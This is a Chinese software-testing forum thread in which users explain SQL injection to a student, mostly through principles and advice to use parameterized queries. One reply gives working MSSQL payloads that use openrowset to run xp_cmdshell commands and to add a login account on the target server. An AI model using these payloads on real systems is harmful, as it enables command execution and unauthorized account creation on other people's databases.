51Testing软件测试论坛

标题: SQL注入怎么注入 [打印本页]

作者: fly_pineapple    时间: 2007-4-8 13:37
标题: SQL注入怎么注入
哪个高手讲的简单易懂一点,老师给的视频看不懂
作者: qi_cy    时间: 2007-4-24 10:51
什么视屏啊,共享看看:)
作者: qi_cy    时间: 2007-4-24 10:57
sql注入的原理就是通过在客户端提交特殊代码获取服务器和程序的信息。
一般可以通过sql注入的网站都是由于程序员再写代码时没有对数据进行合法验证
作者: shanxi    时间: 2007-4-24 12:54
写sql语句的时候 尽量保证用参数传递
作者: DERYCK    时间: 2007-8-1 22:32
这属于安全测试~!
我们知道,在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息,还有一个应用得比较多的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
作者: vivian_zhuang    时间: 2007-8-2 00:50
举个例子吧:
  select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
  可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。
  那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
  select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
  exec master.dbo.xp_cmdshel l ''dir c:\''')
  必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。
  那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作:
  select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
  exec master.dbo.sp_addlogin Hectic')
  这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。
作者: archonwang    时间: 2007-8-2 08:20
讲起来好复杂的,SQL注入的方式很多,关键还是要开发注意编码方式和规范。避免可能出现注入的情况。
楼主如果有兴趣,可以搜索google。好多的知识材料。
作者: 119139107    时间: 2007-8-2 09:12
谢谢楼上的个位发言
学习了 。。。。。
作者: echo5410    时间: 2009-10-31 17:24
学习
作者: blackheart    时间: 2009-11-1 08:51
标题: SQL学习
推荐个网站给大家是我辛苦整理的。
http://www.lcroom.cn
作者: 千里    时间: 2009-11-16 17:20
这方面的资料太少了




欢迎光临 51Testing软件测试论坛 (http://bbs.51testing.com/) Powered by Discuz! X3.2